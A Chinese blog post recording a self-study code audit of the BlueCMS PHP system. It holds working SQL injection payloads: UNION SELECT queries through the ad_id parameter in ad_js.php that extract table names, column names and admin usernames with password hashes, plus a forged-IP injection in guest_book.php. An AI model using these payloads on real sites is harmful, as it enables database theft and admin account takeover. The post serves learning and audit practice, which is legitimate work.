bluecms代码审计

0x01

感觉代码审计这一块有点薄弱,得加强一下,不能有短板嘛,看了看网上的文章,都说bluecms入门审计比较舒服,下载下来折腾一下。

0x02

ad_id 注入

ad_js.php文件中第12行
a
获取id以后只是用trim函数过滤一下,并没有进行严格的处理,可控。
先来个单引号试一下,报错了,整型注入
mark
用手注的方式来一套,看一下列数,8的时候报错,说明有7列
mark
mark

看一下回显,第38行这样输出,所以查看一下源代码,第七列是回显的
mark
mark
接下来就是常规操作了~~

库名
mark

表名
1%20union%20select%201,2,3,4,5,6,GROUP_CONCAT(DISTINCT table_name) from information_schema.tables where table_schema=0x626c7565636d73
mark

字段
1%20union%20select%201,2,3,4,5,6,GROUP_CONCAT(DISTINCT column_name) from information_schema.columns where table_name=0x626c75655f61646d696e
mark

字段值
1%20union%20select%201,2,3,4,5,6,GROUP_CONCAT(admin_name,0x2a,pwd) from blue_admin
mark

gitip() 注入

在common_fun.php中定义的getip函数
mark

没有对ip进行过滤,直接调用,用户可控变量。全局搜索后在comment.phpguset_book.php中调用该函数。
本地搭建的demo打不开comment.php….附上大佬的思路
转向另一个文件==、
mark

访问guset_book.php?act=send时,直接将$online_ip 入库,
直接留言总是弹框提示留言不能为空==,burp抓个包手动构造一下看一下流程,顺便看一下数据在哪显示。

mark
可以看到,ip、内容是回显的,所以可以将注入的内容放在content上取出展示。

构造exp: ‘,database()#
mark

可以看到爆出数据库名,可以使用手注的方式注出需要的信息,此处就不赘述了 :)
mark

0x03

网上的审计文章还有说文件包含漏洞的,奈何管理员后台登录进去是空白。。。没法测试。。就不写了。。
附上链接吧~~~
https://blog.csdn.net/qq_28921653/article/details/81008454#gettplname
https://blog.csdn.net/qq_28921653/article/details/80752680

本文标题:bluecms代码审计

文章作者:tkcharlotte

发布时间:2019年02月02日 - 17:02

最后更新:2019年02月02日 - 17:02

原始链接:boombao.net/2019/02/02/bluecms-poc/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

-------------本文结束感谢您的阅读-------------